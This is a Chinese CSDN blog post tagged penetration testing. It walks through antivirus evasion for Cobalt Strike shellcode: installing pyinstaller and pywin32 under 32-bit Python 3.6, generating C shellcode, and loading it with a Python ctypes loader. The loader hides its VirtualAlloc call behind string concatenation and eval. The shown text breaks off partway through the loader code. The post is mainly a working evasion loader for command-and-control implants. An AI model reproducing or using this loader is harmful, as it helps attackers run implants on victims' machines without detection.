cs免杀-使用python进行免杀

最新推荐文章于 2024-09-02 20:37:59 发布

amd6700k

最新推荐文章于 2024-09-02 20:37:59 发布

阅读量1.9k

点赞数 1

文章标签：渗透测试

本文链接：https://blog.csdn.net/m0_53087192/article/details/113756320

版权

本文介绍了如何在Python3.6 32位环境下，利用CobaltStrike生成C语言shellcode，通过shellcode loader进行加载并采用加密等免杀技术，最后使用pyinstaller打包成可执行文件，实现渗透测试中的免杀目标。

摘要由CSDN通过智能技术生成

环境

使用python版本为python3.6 32位版本，64位版本测试会报错。
安装pyinstaller，pywin32

pip3 install pyinstaller
pip3 install pywin32

生成shellcode

使用cobalsstrike生成c语言shellcode。
在这里插入图片描述

使用shellcode loader加载shellcode

#!/usr/bin/python3
import ctypes

#shellcode 放这个位置
c = b"\xfc\xe8\x89\x00\x00\x00\x60\x89";


shellcode = bytearray(c)

a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),